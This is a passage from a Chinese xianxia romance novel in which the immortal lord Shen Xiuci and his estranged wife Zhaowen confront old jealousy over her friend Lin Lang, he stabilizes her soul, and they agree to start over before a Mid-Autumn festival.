“你还想起别的什么了吗?”
沈修慈指尖摩挲着茶杯的边缘,缓缓道。
“或许是今日见到了林琅,又想起来了一些。”
他说着,嘴角的笑意渐渐的消散,随后又扯起一个不太真切的弧度,眼中刚升起来的暖意像是又被冷风吹拂结了冰的湖面,冻结了起来。
朝玟紧盯着他,看清了他眼中变幻的神情,心中一跳,眼中浮现一抹疑惑。
朝玟云里雾里,同时心里打起鼓来。
与林琅有关的……会是什么记忆?
朝玟:“他应当与你……没有打过照面吧,你想起什么来了?”
沈修慈可是仙域之主,林琅无官无职,怎么可能见得到他呢?
沈修慈唯一能够知道林琅此人存在的途径,不过是她偶尔下界的时候会提起一句而已。
朝玟:“难道你见过他了?”在她不之情的时候?
沈修慈摇摇头,否定了她的猜测。
“只是想到你约我下界之前,曾因为他拒绝了我。”
嗯?就这?
朝玟满眼不解:“那也是我跟他有约在先,你说要同我下界吃什么小吃,那也是你后面才说的,当然要往后排一排。”
怎么计较起这个来了?以前也不见沈修慈这么小心眼。
沈修慈眼眸一暗,“确实只是小事,但这样的小事,却发生了很多次。”
有关林琅,桩桩件件,他全想起来了。
他与林琅的确有宿怨。
每一次朝玟下界,几乎都是去找他。
此人明知道朝玟有夫君,却还是与她不避不讳,以朋友相处。
仿佛一种挑衅。
他知道,朝玟是介意他是仙域之主这样一个身份,觉得他放不开,而她在昆仑压抑着性子又太寂寞,所以才会另外找朋友。
可他并非不能为了她而改变,他也多次想要陪她一起下界,可是朝玟几乎每一次都会拒绝他。
每一次的理由,都是林琅。
“今日我与他有约了。”
“那个地方,前段时间我与林琅去过。”
“君上事忙,怎好意思劳烦你陪我做这些事呢?我还是去找林琅吧。”
当朝玟每每提起这个名字,他的心中就会有一种隐秘的疼痛蔓延开,如同细密的针尖在心头轻轻刺痛。
这说明她不久之后,或许下一秒就要离开,去与林琅见面。
朝玟与林琅的互动越发熟稔亲密,他的心中焦灼恐慌的情绪就越浓烈,想要说些什么,却发现喉咙如同被无形的手紧紧扼住,发不出任何声音。他想要采取行动,挽回这一切,但身体却仿佛被沉重的石头压住,无法动弹。
每当这个时候,他的耳边总会响起一个声音,提醒他:朝玟不爱他,他们的婚姻只是利益交换,她喜欢谁,要见谁,他无权干涉。
后来,每当朝玟去见林琅,沈修慈都有一种错觉:她这次走了,可能就不会再回来了。
那种极度压抑和惊惶的感觉,此刻又随着恢复的记忆一起,回到了他的身体之中,令他情绪难以自控。
沈修慈深吸一口气,试图平静下来,然后缓缓开口:“虽然只是小事,但是今日我见他对你表白,虽然你拒绝了他,但你两世都主动与他成为朋友,我想知道,你对他……”
他的声音变得有些艰涩:“你对他……”<
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为什么要出问这个问题?
明明他们相处的时间已经所剩无几,不应该留下不愉快的回忆。
他是想要寻找朝玟的错处吗?
是想要怨她吗?
还是想要与她争吵?
沈修慈弄不清楚自己究竟要什么,只是这段记忆犹如山洪一样冲了出来迅速将他淹没,让他的情绪也犹如火山爆发一样,一发不可收拾。
可他一定要现在问吗?这是堆积很久的心事与怨气,若是一直装聋作哑,还能够维持体面。
想到这里,他突然后悔,深吸一口气,生硬地止住了接下来要说的话。
朝玟却在此时伸出手,轻轻搭在他的手背上。
她神情犹疑,语气却异常坚定:“我只把他当朋友,上一次是朋友,这一次也是朋友。”
沈修慈心中情绪翻涌,突然之间,一切动荡都归于平静。
心脏突然之间仿佛停跳了一拍。
朝玟的脑子一片混乱,思绪如同被风吹散的云彩,难以聚拢。
她只是本能地感觉到沈修慈的状态不对劲,而林琅似乎是这一切的根源。
但是,他的不对劲是因为什么呢?他提到了林琅和她表白,是因为表白吗?
她不想看见沈修慈这么伤心,所以本能的先做出了行动。
朝玟的脑子还没来得及理清思绪,只是隐约捕捉到了一个可能的苗头,就已经开口解释道:“我跟他相遇只是偶然,觉得和他性情相投,所以想要和他做朋友。”
“上一次你我还是夫妻,我那时就跟他说过,我跟他绝无可能,这一次他跟我表白心迹,我也拒绝了他,你也看见了,我都没带犹豫的。”
“他这人心胸宽阔,处事旷达,见过的经历过的都多,不会想不开,只要说开了,就不会对我再做纠缠。”
“我每次找他也都只是喝酒吃肉,聊一聊家长里短,谈一谈天下大事,东西南北胡扯一通,听一听他有趣的见闻。我与他界限分明,此生都是朋友,也只能是朋友。”
朝玟解释完之后,看着他的反应着急。
拜托,跟沈修慈这样的人当了夫妻,她哪里还看得上别人。
但是也因为提起林琅,她也想起了以前因为林琅,沈修慈也有过很多次不开心,他虽然不说,但是朝玟看得出来他闷闷不乐。
只是当时朝玟觉得和沈修慈相处着觉得太过压抑,她用尽了几乎所有的办法,可好感度一直不涨。
看着冰冷稳固一动不动的数值,她对沈修慈总忍不住怨气丛生,当时她心被执念蒙蔽,根本看不见沈修慈的任何表情。
朝玟只有在离开他,与林琅一起谈笑时,才能感受到一丝解脱。
但那时,她并未意识到,不仅仅是她感到委屈,沈修慈也有他的委屈。
这些都是她做梦回忆的时候,才逐渐意识到的。
这三个月,她本就越想越觉得愧疚。
此刻,沈修慈想要与她清算,可又不知为什么,尽数将话如吞咽鲜血一样咽了回去,朝玟那些隐秘的愧疚,突然就有了支点。
她觉得自己当时真不是人。
她承认道:“的确……是我不好。”
沈修慈也轻轻地眨了眨眼,他的眼眸顷刻间变得更加润泽。
看着他这一副模样,朝玟抿了抿嘴唇,感觉眼眶有些酸,拼命眨了眨眼,将沈修慈的手握更紧,道:“对不起。”
“要是实在不高兴,要不打我一下?”
就在她说话的期间,沈修慈一直盯着她,等到她说完这句话之后,他似乎是被逗笑了,略勾起嘴角,轻叹一声。
他继续注视着朝玟,半晌不言,然后轻轻地抽出了被朝玟紧握的手。
朝玟的眼睛慌张的微微睁大,手指颤了颤。
沈修慈接着又安抚的在她的手背上轻轻握了一下,他拿起一旁的桂花山楂蜜饯盒子。
他说:“山楂很甜。”
朝玟忐忑地看着他站起身,然后走到她的身边,用另一只空出的手,拉住了朝玟垂在桌上的手。
他一手拿着朝玟买的东西,一手牵着她,说:“有你说的这些话,就够了。”
朝玟愣了愣,被他拉着站了起来,想起了第一次见他的样子。
那初见时艳丽而锋利的眉眼,不知什么时候,居然变得这么柔和了。
他嗓音温润,仿佛初春融雪的溪流,对她轻声说。
“回家吧。”
53. 重新开始
月亮刚刚升起来,星星布满了夜空,影子叠着影子,两个人一直牵着手走回了家。
在朝玟踏进门槛的时候,又想伸竹签去叉沈修慈手里的山楂,他托举纸盒的手熟练递了过来,但是朝玟却叉了个空。
两个人路上有一搭没一搭的,已经把山楂全部吃完了。
别说,这种蜜饯类的小零食,一吃就一直想吃,容易停不下来。
朝玟有些意犹未尽,把竹签扔进纸盒里,交给沈修慈处理。
她午饭吃得晚,山楂消食,但陆陆续续的塞进肚子里,也有些撑得慌。
再加上身体还未完全恢复,神魂不稳,头胀痛难忍,现在什么也不想做,只想着快点倒腾双腿,在她柔软的床上躺下,好好休息一番。
当朝玟松开他们牵在一起的手,转身准备回到自己的房间时,沈修慈再次拉住了她的手。
朝玟被他拽住,向前迈的脚又慢悠悠地收了回来。
“干什么呀?”
沈修慈垂下眼眸,温柔地注视着她,提醒道:“稳固神魂,每日一次,持续三天。”
朝玟这才想起来还有这一茬,打了个哈欠,轻轻应了一声。
她问:“那现在我们要做什么呢?”
沈修慈语气平缓的说:“去床上打坐,剩下的我来做。”
去哪里打坐?
朝玟眼睛慌乱的眨了眨,怀疑她听错了。
草丛里面不知道什么昆虫鸣叫了几声。
沈修慈等着她开口。
她这才面露为难道:“已经很晚了。”
虽然不知道稳固神魂的具体操作步骤是什么,但一听到要到床上去,朝玟就有些犹豫。
但其实……好像,这个犹豫没什么道理。
夫妻之间应该不用避讳这个吧?
尽管她和沈修慈是夫妻,但他们的关系还远未进展到那一步,虽然睡在同一个房间,却是分床而眠。
原因嘛,也很简单,因为一开始他们之间的婚姻就是没有感情的政治联姻。
沈修慈又对她尊重有加,再加上朝玟当时并未真正接受突然多出来的一个夫君的事实,心里也对夫妻之间会发生的事不停打鼓。
就这样,两人一拍即合,决定分床而睡,从成婚的第一天起,这样的安排就被默认下来。
后来,朝玟也习惯了这样的相处模式,从未考虑过改变。
但沈修慈似乎没有想到这一点,他显得非常严肃道:“你如今容易犯困,正是因为离魂的症状变得更加严重了。”
“我能待在人间的时日也只有三日,所以必须抓紧时间,以绝后患。”
冷风一吹,朝玟被吹得清醒几分,心中觉得他说的很有道理,离魂症拖不得。
但是同时也必须面对现实,她不禁失落的想:对哦,他后天就要走了。
她与他相处的时间已经所剩无几了。
虽然感觉心里有些堵,但现在的情况还是她的离魂症要紧。
“那就来吧。”
她率先走进了房间,坐在床边。
有玉兰花的花香顺着风吹进窗棂里,月亮爬了上来,又大又圆,洒下的光辉如银色细沙,为室内的一切披上了一层淡淡的银边。
沈修慈也走了进来,他的脚步声几乎没有声响,只有衣料在行走间轻轻摩挲,发出细微的响动。
高大身影站在床畔,在光线暗淡的室内,他的影子在朝玟面前投下了一道更加暗淡而略带灰色的轮廓。
朝玟想起了他当时出现在她与林琅的面前,以及很多时候,都是这样的沉稳安静。
身影似一柄剑,雪白而清锐,坦荡的很。
这样的心境也影响到了朝玟,她的心也不禁平复下来,那点扭捏也消失无踪。
她想起他下午出现在她和林琅面前,以及今天晚上发生的一切,心中不禁生出疑惑。
沈修慈为什么那么在意她没有在林琅面前说明他与她之间的关系?
他为什么明确的想要知道,她对林琅究竟是一个什么样的感情?
朝玟的心里又变得乱糟糟的,她脱掉了鞋子,盘起双腿,双手放在丹田处,思绪飘飘散散的,仿佛要指向一个可能的答案。
但是那答案又被一层无形的障碍挡在外面,思绪只是刚想到,便应激一般的弹开些距离,敬而远之。
朝玟自嘲,她真是因为离魂,脑子都糊涂了,什么都敢想。
上一次用尽了所有的力气和手段都没能得到的,她这一次什么都没做,怎么可能如此轻易的就得到呢?
沈修慈应当是想起来了那些因为林琅而不愉快的记忆,心中有怨气。
他这么多年,都没听到朝玟给出一个解释,所以才会问出那些问题。
特别想要得到一个答案,这样急切的心情,朝玟完全能够理解他。
她死遁昏迷的前一秒,也特别想要知道沈修慈这些年对她究竟是一个什么样的感情。
沈修慈因为记忆突然恢复,所有堆积的疑惑在一瞬间爆发,促使他追究林琅,这也很正常。
要是朝玟得知沈修慈也有一个朋友,又时常因为这个朋友和她玩消失,还总是冷淡处理,那她也接受不了,也会忍不住想要问一问。
这完全能说通他的反常。
但是,虽然这个逻辑能够说通,但是朝玟心里却怎么都感觉不太对劲,堵得慌。
沈修慈侧身坐在她的身前,冰雪的气息随之飘过来,在她的面前,以同样的姿势盘膝打坐。
一张床容纳两个人,略显拥挤了。
而且相对而坐,几乎是被动逼迫着必须对视一样。
朝玟的视线不知道该落在哪里,在他的脖颈和胸前平整的领口来回打转,盯到喉结处,眼神猛得跳开,慌乱转动眼珠,最后低头看向她自己的手。
她双手交叠,正不自在的抠着手背。
还是看她自己吧。
沈修慈对她说:“闭眼,凝神静气,我要开始了。”
太好了,她正不知道该看哪儿呢,朝玟立刻闭上眼。
况且,神魂事关重大,朝玟也就只有这一道神魂是她自己的,可不能出任何岔子。
她收敛了所有的思绪,沉静下来。
朝玟的眉眼秀丽,眉如远山,双目阖着,眼睫像两把小扇,轻轻颤动着。
月光柔和地洒在她白皙而柔和的脸庞上,勾勒出她脸庞的轮廓,形成了一个柔和的剪影。
沈修慈静静注视着她半晌,并拢双指头,轻点在她的眉心,调动灵力,一道玄之又玄的气,从她额间探入。
朝玟感受到一股气从额间扩散开来,她皱起了眉头。
这股气带着丝丝凉意,并不难受,但存在感极强,仿佛电流一般,它所到之处都带来一股刺激的感觉,又好像一道温热的水,让每一个毛孔都舒适地张开。
朝玟静静忍了一会儿,眉头越皱越紧,她从心理上感到一种隐秘的不适,有一种被无视安全距离的失控感。
手臂上被这道外来的气激起了鸡皮疙瘩,她感到一阵阵的寒意。
她心中感到不安,犹如一只警惕的兽类,瞬间产生了攻击的念头,同时倾听四周的声音,只要稍微有点异动,她就会准备动手。
对面的人一动不动,抵在她额前的手指很稳,呼吸很轻,几乎听不见。
朝玟闭上眼睛,一遍又一遍地想象着沈修慈的样子,告诉自己,那股侵入灵台的气息是来自于沈修慈,不是其他人。
她重复这样的暗示,心中的焦虑竟然奇迹般地平静下来。
沈修慈却在这个时候,收回了手。
就在这时,沈修慈收回了他的手。他的手指离开她的额头时,指尖的温暖也随之消失,那些让她感到不适的感觉也随之离去,仿佛从未存在过。
乍有乍空。
朝玟茫然睁开眼,对上一双有些无奈的眼睛。
沈修慈说:“要凝神。”
朝玟立刻狡辩:“我没想什么呀。”
沈修慈手垂落在床畔,只是看她。
朝玟与他对视了两秒钟,然后移开了视线,规规矩矩地回到了打坐的姿势,沮丧负气道:“再来。”
这一次,朝玟在感受到那道气进入灵台之后,才缓缓闭上眼睛。
她的眼前最后定格的画面是沈修慈用指尖轻触她的额头,那洁白的道袍柔软而妥帖,指腹清爽干净,看上去对她并无丝毫威胁。
沈修慈等待着那一道气沉找到了朝玟的神魂之后,便收回了手。
紧接着,他立刻双手掐诀,灵力所化的金光在他的指尖显现,将他漆黑的眼中照耀出一道光华,也将朝玟的面容照亮。
整个过程,沈修慈的神情专注而深沉。
朝玟闭着眼睛,什么也看不见,在气找到她的神魂之后,被入侵领地的失控感也随之消失。
她将感知移到灵台之内,似乎感受到了什么。
如果说之前的神魂犹如漂浮在天空的气球,找不到固定的支点,那么沈修慈用那一股气变成了丝线,将灵魂与肉身逐渐地连接在一起,逐渐地牵引着魂魄回归到原本的位置。
随着丝线将魂魄牵引归位的过程之中,朝玟的心情也变得安稳而平静,脑中一直隐约的针扎一般的疼痛也减轻了不少。
她舒服地吐出一口气,感觉自己像是被清风轻柔地拥抱着,身体也变得舒适,好受了很多。
如此缓慢而仔细的修补和拉扯,持续了一段时间,她的身体和心灵都感到一种前所未有的轻松和平静,仿佛所有的疲惫和不安都被轻轻拂去。
等到最后结束的时候,沈修慈又将双指抵在她的额前,将那丝冰冷的气抽走。
朝玟感受到这个过程可能即将结束,睁开眼睛。
金光如明亮的火,又像是在他指尖绽放的天光,为他霜雪般的姿容镀上一层慈悲的金身,凤眸微垂,眼尾拉出一条斜长的线,恍若真是一尊精致的神像。
朝玟目光粘在了他的脸上,呼吸也放轻,不敢惊扰,从他专注的眼眸下移,落在他的唇上。
他的嘴唇有些苍白,看来帮她稳固神魂也损耗了他不少灵力。
看起来那么柔软脆弱,有些像褪色了的桃花花瓣,仿佛一捻就会破。
朝玟眼神有片刻惊惶的恍惚,她觉得可怕,她从未想过,沈修慈也会有这样脆弱的一面。
她记得,当时与魔主对战时,哪怕是要拼个同归于尽的时候,也不见他露出这副模样。
沈修慈将手诀回收起来,双手自然沉降到丹田处。
朝玟的视线从他的唇上移开,又抬眼去看他的眼睛,见沈修慈一直盯着她,眸光慌忙的闪烁两下。
静谧之中,她先开口。
“今天你与我相处,你找到你想要的答案了吗?”
沈修慈像是还未从刚才的对视中缓过来,眼眸在她的唇上扫过一眼,微微出神。
朝玟在他出神的时候,放松了姿势,上身向后靠去,手撑着床面,又继续说道。
“你来找我时对我说,想要弄清楚我们的关系,以及我对你来说究竟意味着什么。”
“我们的关系很简单,用四个字就能概括,无论是上次还是在这次,都是有名无实。”
“而我这个人,上一次我曾想尽办法讨好你,也不见你看上我,这一次你要是真的想起来了,你也未必会对我满意,我觉得你还是趁早回去吧,不必在我身上再浪费时间。”
这话将两个人在今天刚刚建立起来,模糊又脆弱的一种默契撕了个粉碎。
沈修慈微微蹙眉道:“我不觉得浪费时间。”
朝玟歪头:“是吗?”
“可我觉得浪费。”
月光朦胧之下,她的眼中挂起了冷意:“我不需要你为我修补神魂了,你回你的仙域去,我如今只是一个无足轻重的人,既不能给你提供助力,也不能为你兜底,你为什么要在我的身上浪费时间?”
沈修慈:“谁说你不重要?你是我的妻子,这很重要。”
朝玟紧紧的逼问:“谁能证明我是你的妻子?合籍殿可有你我的姓名?”
安静的氛围中,声音清晰也残酷。
沈修慈呼吸依旧很轻,像是山雨欲来。
他沉声道:“你认为,我和你已经没关系了,是吗?”
这句话问出,他面色更加苍白。
朝玟声音越发的沉:“怎么会?你为我稳固神魂,消耗巨大,我欠你,你想要什么我都可以为你做,只要是我能力范围之内的。”
沈修慈道:“我不要你什么,我这么做只是因为我愿意,而已。”最后两字,极致压抑,像是为了隐忍怒气咬牙切齿,又好像以此明志,特意掷出重音。
“如果不是接了我的订单,不是我与魑魅缠斗没有看顾好你,你本可以避免霜澜城的危险,帮你稳固神魂,助你养好身体,这是我该补偿你的。”
朝玟:“只是因为这个?”
沈修慈定定的看她一会儿,轻声追问:“你想因为什么呢?”
朝玟本以为他会给一个解释,结果他却反问她,不由得心中发笑,冷笑一声,微微仰头,睨着他道:“如果只因为这个,那我不需要。”
明日便是中秋,夜越深,月亮爬得越高。
能够将人的面目照得清清楚楚。
沈修慈的目光在她的脸上探寻,半晌后,轻声说:“你问我,我找到答案了吗?我想我找到了。”
“我的答案是,我想要重新了解你,你也重新了解我。”
朝玟心想:她不了解他吗?这话可真是莫名其妙,她对沈修慈的了解,远超这世上所有人。
系统给她的资料涵盖了他的整个生平,她与他相处的十年时光,又了解了他的全部为人,以及原著剧情关于他注定的命运,朝玟全部都了如指掌。
可是沈修慈就像是能够知道她的内心所想,反驳道:“你说你了解我,但你究竟是了解的哪一面?你真的清楚吗?”
“我……”朝玟想反驳,但是却被他打断。
沈修慈:“如果你真有你所说的那么了解我,那你可曾料到今天我会对你说这一番话?”
朝玟确实不曾料到他还有如此咄咄逼人的一面,怔愣的望他,一时之间说不出话。
他的眼睛幽幽的亮着,注视着朝玟同样不服的眼睛说道:“连月亮有两面,更何况人?”
沈修慈的话清晰又认真:“我不介意看见你,也不害怕展示我,如今身份明朗,无需伪装,就用最真实的样子,我们从头开始,再相处
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一次,这就是我想要的答案。”
朝玟目光怔怔。
上一次,他们之间从来没有产生过这样的对话,今日他们对话的深度,已经远远超过了朝玟的预料。
这不是她想要的结果,她只是想要将他逼走而已。
没想过他会步步不让,见招拆招。
但是朝玟也对他们现在的对话产生了反思。
了解?
他们以前都以为,只要相处的时间够长,就足以了解。是沈修慈现在显然不这么想了,朝玟心中的想法,也逐渐有所动摇。
朝玟感觉她的心脏咚咚直跳,隐隐的激动起来,激动的让她内心深处泛起害怕,隐隐有什么重要却被她忽视的事,挣脱了控制。
她从仰面对着沈修慈的姿势,换成了双手抱膝,把脸支在膝盖上,声音闷闷的从臂弯处传来:“你都要走了,还了解什么呀?”
她还记得沈修慈这一次是来与她告别的,她牢牢记得这一点。
后天他就要回去了,从此山高水阔,再也不复相见。
她的心越发的烦躁起来。
沈修慈眼眸也默默的垂落,似乎也因为他们之间注定的结果而感到落寞,接着又抬眸望她说道:“如果你愿意等我。”
朝玟抬头瞅了他一眼。
他接着又说:“或者跟我回去,只是此话你不爱听,也定当不愿意。”
朝玟忽而笑了一下:“那你知道还说?”
沈修慈:“再给我一次机会。”
朝玟赌气:“不要。”
“那我不走好不好?”
朝玟沉默了一会,说:“……不要。”
沈修慈也真是的,她又不是什么白痴,怎么要拿这种他自己都不信的话来哄她?
沈修慈沉默了一会儿,才追问:“为什么?”
朝玟在臂弯里轻轻撇了撇嘴。
真是生疏,连再说一句好话都想不到,一看以前就没有哄过人。
但他生涩的让她的心情好了起来,朝玟决定放过他:“你没必要为了我损耗你自己。”
沈修慈疑惑:“什么?”
朝玟轻哼一声:“你也不用装糊涂,为我稳固神魂,会消耗你大量的灵力,我又不傻,看得出来。”
沈修慈目露惊讶,复又莞尔道:“不会。”
他耐心解释:“我没有损耗多少灵力,打坐调息半日,便能恢复如初,凡人神魂脆弱,我的灵力又裹挟冰寒煞气,不愿您有任何闪失,故而专心致志,不敢丝毫分神。”
他手指撩过额前的碎发,指尖抵在鬓边,眼眸微抬向上看,似乎感知了一会儿身体状况,眸光转动,又落下手,看着朝玟笑道:“只是有些累了。”
“真的?”
“嗯,真的。”
朝玟目光又落在他的唇上,似乎确实比刚才要红润些。
若真只是累了,那她岂不是小题大做了?
朝玟觉得尴尬,踢他一下,催促他:“那你去打坐。”
他顺势换了个姿势,侧身坐在床畔,上身前倾,在朝玟的面前轻声道。
“今天早上,我向郑阁主要了一个人。”
凑这么近干什么?
朝玟撇开脸,转过去一边耳朵,耳坠轻轻摇晃,听他的下文。
“蓬莱要与昆仑重新谈判,要是有灵闻阁做见证,他不敢过于放肆。”
“这个人的作用十分重要,郑阁主左思右想,与我商谈半天,都没有找到适合的人选。”
朝玟若无其事问道:“你对这个人……有什么要求吗?”
沈修慈状似沉思,耳语一般,吐出两字:“我要……”
朝玟歪歪头,耳朵好奇的往他的方向贴,几乎要用后脑勺对着他。
他眼睫颤动,看着一截修长的脖颈,和圆润的耳廓后绒绒的碎发,嘴角翘起,道:“不如,明天见到郑阁主后,让他同你说吧。”
“既然是他挑选人选,还是让他来说,最妥当。”
朝玟在他话音落下的下一秒扭头,不满又疑惑。
“这是你们商量的事,他与我有什么可说的?”
随后又反应过来,满眼错愕,指了指她自己:“你想选我?”
沈修慈失笑:“我可没有这个权利,说到底,这是灵闻阁的事,我只是借人而已,究竟派谁,还是得郑阁主做决定。”
郑舒不是个专断的人,肯定会和沈修慈商量,沈修慈要是想要什么人,郑舒能不给吗?
但是这也不好说,郑舒向来随意,但很有分寸,阁中事,一向不喜他人插手,说不定,会自己选一个交给沈修慈。
朝玟自己说服自己,念念叨叨:“郑舒不会让我去的,阁里高手这么多,我三天打鱼两天晒网,三个月就去报了两回到,无名小卒一个,怎么会让我去呢?肯定不会的。”
“见证两山主谈判,这可是重要场合,怎么也得派个一等一的人物。”
沈修慈问她:“你有人选推荐吗?”
朝玟沮丧:“没有,我都不认识几个人。”
沈修慈又问:“那你会等我吗?”
怎么猝不及防又绕回来了?
朝玟脸上闪过不爽,不想回答,又踢他一下:“我要睡觉了。”说完,她开始拽被子,抖开。
沈修慈就是坐着不走,等着朝玟用被子把自己裹起来,躺在枕头上,用后脑勺对着他。
他又问:“那到底会不会?”
过了一会儿,声音从被子里飘出来:“……等你谈判完了再说。”
沈修慈先是定身一般,愣住许久,良久,才从朝玟答应的答案中回过神来,淡笑道:“好。”
朝玟背着他道:“上一次我总在你面前端着,但我跟你说,我这人可不是一点脾气都没有,今天就算发作一次,要是受不了,你还是趁早走吧。”
沈修慈声音低沉,仿佛在耳边震动:“我知道,你不是发脾气,你只是关心我。”
朝玟:“……”沉默不语。
没想到他竟然都看出来了,她不自在的用被子把自己裹紧。
他又回答她的后半句话:“没有什么受不了,我觉得,你这样很鲜活,很好,我很……”
朝玟突然气急败坏,噌的坐起来,推他,“我要睡觉了,真的要睡觉了。”
她不过脑,想到什么说什么:“谁跟你似的,不吃不喝还不睡,精神抖擞砍魑魅,白天云淡风轻跟没事人一样,我不睡觉是会死的,明天还有中秋灯会,又得熬夜,本来送你去霜澜城直到回来就没休息好……我要睡觉,我要睡觉,快走,快走啦!”
她大声喊出来,耳廓和脸颊都红扑扑的,从床上推他,把他一直推到门口。
沈修慈被她推了出去。
啪!朝玟抵着门,锁好,一气呵成。
她背靠门框,静静站了一会儿,接着,走到到梳妆台边卸了首饰,又换了一套入睡的衣服,披着头发,再回到床上,面色已经回归冷静,她若无其事躺进被子里。
床上,她直挺挺躺的笔直,在夜晚除了呼吸声,许久都没有别的动静。
但朝玟始终着眼,盯着头顶的床幔,脑子里不停回想沈修慈今晚和她说的话,眼睛过很久才眨一下。
糟糕,好像睡不着了。
54. 庆典前夕
第二日清晨,晨曦的光,透过窗棂照进屋子里,打在床上女子的眼睫上。
她眼底沉淀着淡淡的青黑色,眉间微微皱起,睡的不太安稳。
朝玟被阳光照得半醒,想着今日反正无事可干,翻了个身。
正要继续再睡一会儿,几声清脆的鸟鸣不合时宜地划破宁静,如同细针挑动着她的神经。
朝玟啧了一声,用被子蒙住头,不听不听。
但那鸟鸣似乎有意与她作对,一声声清晰地传入耳中,将她的睡意搅扰得支离破碎,紧接着,宅子外的风铃发出一连串清脆悦耳的响声。
那是朝玟挂在门上当门铃用的,材质特殊,除非有人触碰,风吹都不会响。
只听沈修慈靠近,询问了一声。
随后,一个明朗的声音穿越庭院,传了过来,应当是说明来意,却因距离而显得模糊不清。
朝玟迷迷糊糊,从被子里钻出头来,支起耳朵,听了听。
玉兰树的影子晃动,一位青年站在门外静候。
接着,吱呀一声,大门被打开了。
那人身着荷绿色半袖,套在月白的广袖外,肩部和襟前,以真丝绣出十三方国的图腾纹样,是千里记行的制服。
他看见开门的是位男子,笑着礼貌地拱手行礼,半袖在两侧臂弯处轻轻翘起,显得精神抖擞。
他先是问候,“郎君日安。”接着问道:“请问此处可是千里记行朝玟姑娘的居所?”
朝玟此刻已完全没有了睡意,她听到询问,立即起床,披散着头发,推开卧室的房门。
看见门外是自己人,朝玟打起精神来,走到沈修慈身边,一头黑发漆黑如墨,垂到腰侧,素面朝天,问道。
“找我何事?”
那人从宽大的袖口中轻轻取出一张精致的描花烫金请帖,递向朝玟的面前。
“昨天阁主邀请二位今夜前往城北参与中秋庆典,特派遣我来此,亲手送上这份请帖。”
朝玟以双手接过那张请帖,目光落在其上细腻的纹饰和熠熠生辉的烫金图案上,抬头对那人温和笑道。
“多谢你亲自送来这份请帖,总不能让你白跑一趟,要不进来喝口茶?”
朝玟说完,便侧了侧身子,真切相邀。
那人微微一笑,态度谦和,轻轻摆了摆手,说道。
“不过是多走几步路而已,举手之劳,何足挂齿?”
言罢,他再次拱手行了一礼,“请帖既已送达,我便不再叨扰,在此预祝二位中秋愉快,庆典上再见。”
朝玟站在门口,手持请帖,目送他离去,随后关上门。
她留心了那男子的样貌,端正秀美,同郑舒一样,都是气质清雅之人,却是个生面孔。
罢了,晚上总是要再见到的。
她不再多想,打开请帖,扫了一眼,然后揣进怀里,这才将视线投在沈修慈的身上。
沈修慈依旧身着一件洁白的道袍,衣衫整洁如新,与昨日,甚至初见时的模样别无二致。
朝玟经过一夜的辗转,头发披散着,如瀑布般垂至腰后,因睡眠不足而显得有些许毛躁。
衣服也没穿好,青绿色的寝衣外披着一件外袍就出来了,鞋子也趿拉着,露出雪白的脚踝,在晨风的吹拂下,不禁感到一丝凉意。
与他一身整齐着装一对比,朝玟这衣服急匆匆赶来见人的模样,便显得潦草多了。
朝玟上下打量他两眼,嘀嘀咕咕的在心中吐槽:昨天说了那么多话,他倒是神清气爽。
不过,他来此是客,也待不了多久了,她不与他计较,转了个身,打了一个大大的哈欠。
清澈而带着一丝凉意的男声,从她的身后悠悠传来,沈修慈问:“今日可有安排?”
朝玟在他的询问之下摇了摇头。
她的声音带着没睡醒的慵懒,反问道:“你呢?”
沈修慈回答:“只有晚上的庆典。”
朝玟轻声应了一个“哦”。
那就说明,今天晚上之前,他们两个人都无所事事,有几乎一整个白天的时间待在一起。
真要命。
想到这里,朝玟的神色不禁有些恹恹。
往常他们在一起,总是忙碌于批阅奏章,聆听臣下的汇报,或是共同商讨如何调和仙山之间的矛盾,以及如何镇压蠢蠢欲动的魔族。
像今天这样,无需处理任何紧急事务,无需追逐任何目的,就这样呆在一起无所事事,以往从没有过。
朝玟揣着请帖,烦恼的想。
今天能做些什么呢?
沈修慈手中握着一个水舀,继续着刚才被千里记行的人打断的动作,继续浇灌朝玟院子里的花草。
将这件事做完,他将水舀轻轻地放下,眼神中流露出一丝不易察觉的迷茫。
朝玟注意到他的神情,便知晓,他对于这突如其来的闲暇,也感到有些不知如何自处。
但总不能就这样干瞪眼站着吧?
朝玟目光落在沈修慈旁边盆景翠绿的叶片上,心中忽地一动。
她轻轻咳了一声,指尖轻轻摩挲着鼻尖,脑中一边构思着话语一边开口:“我记得离这里不远,有家包子铺,他们的包子味道极佳,搭配的豆浆也是醇香可口。”
沈修慈静静地听着,轻声应了一声。
朝玟继续摸着鼻尖说道:“对面还有一家馄饨店,如果你喜欢辣,可以加些辣椒,不过我通常是不加的,那家店的辣椒即便加了也不会太辣。”
见沈修慈依旧保持着倾听的姿态,没有给出任何回应,朝玟深吸一口气:“所以……要不要一起吃早饭呀?”
沈修慈的眼眸中闪过一丝错愕,没有想到她说出这么长的一段话,竟然是对他邀请的铺垫。
这些日子以来,自从见面开始,朝玟对他总是保持一定的距离,偶尔还会回避不理,今日她突然主动邀请,沈修慈心中涌起一股复杂的情绪。
还有一些不知所措。
他应答:“好。”
这个字落得很轻,像是生怕打破了这份突如其来的亲密。
朝玟虽然听到了沈修慈的应答,但是心中还是荡开一道微妙的无所适从。
毕竟,之前她对他的态度,实在算不上好。
但是既然话都说开了,她也答应了要和他重新开始,总是要有所改变的。
朝玟在沈修慈答应之后,心中不禁有些懊悔。
他毕竟是仙人,无需像凡人一般进食,她的提议似乎显得有些自私,只考虑了自己的感受。
然而,话既然已经说出,泼水难收,她只能硬着头皮继续补充:“阁主交代过,要我好生款待你,这京城的繁华与热闹,与昆仑的宁静雪景大不相同,风物人情,也是新面貌,又正好是秋天,碧绿深红都在一起,景色正好。”
“等用过早餐之后,我们可以一起去京城中逛逛。”
沈修慈没有异议,他从容应允,轻声答道:“好。”
“那就劳烦朝玟姑娘今日做东,带我好好领略一番。”
朝玟对他挥了挥手,洒脱地说:“小事一桩。”
得益于沈修慈的缘故,她如今可是手握五千金的小富婆。
在这富豪皇戚云集的京城,虽然算不上顶尖的富豪,但也能在各大酒楼饭店,甚至一些奢侈场所中挥霍一番。
从清晨起床到现在,腹中空空,朝玟想到酒楼里的美味佳肴,不禁有些心动。
怀着期待,她转身轻轻拨弄了一下自己的头发,回到了卧房。
坐在梳妆台前,她并未料到沈修慈也会跟随而来,他就站在门边,保持着不远不近的距离,静静地注视着她。
朝玟故作镇定,用余光捕捉到那雪片一样的身影,拿起梳子,在铜镜前将长发梳理顺滑。
一道目光跟着她的动作,上下的移动。
那一道视线当中,除了专注,别无他物。
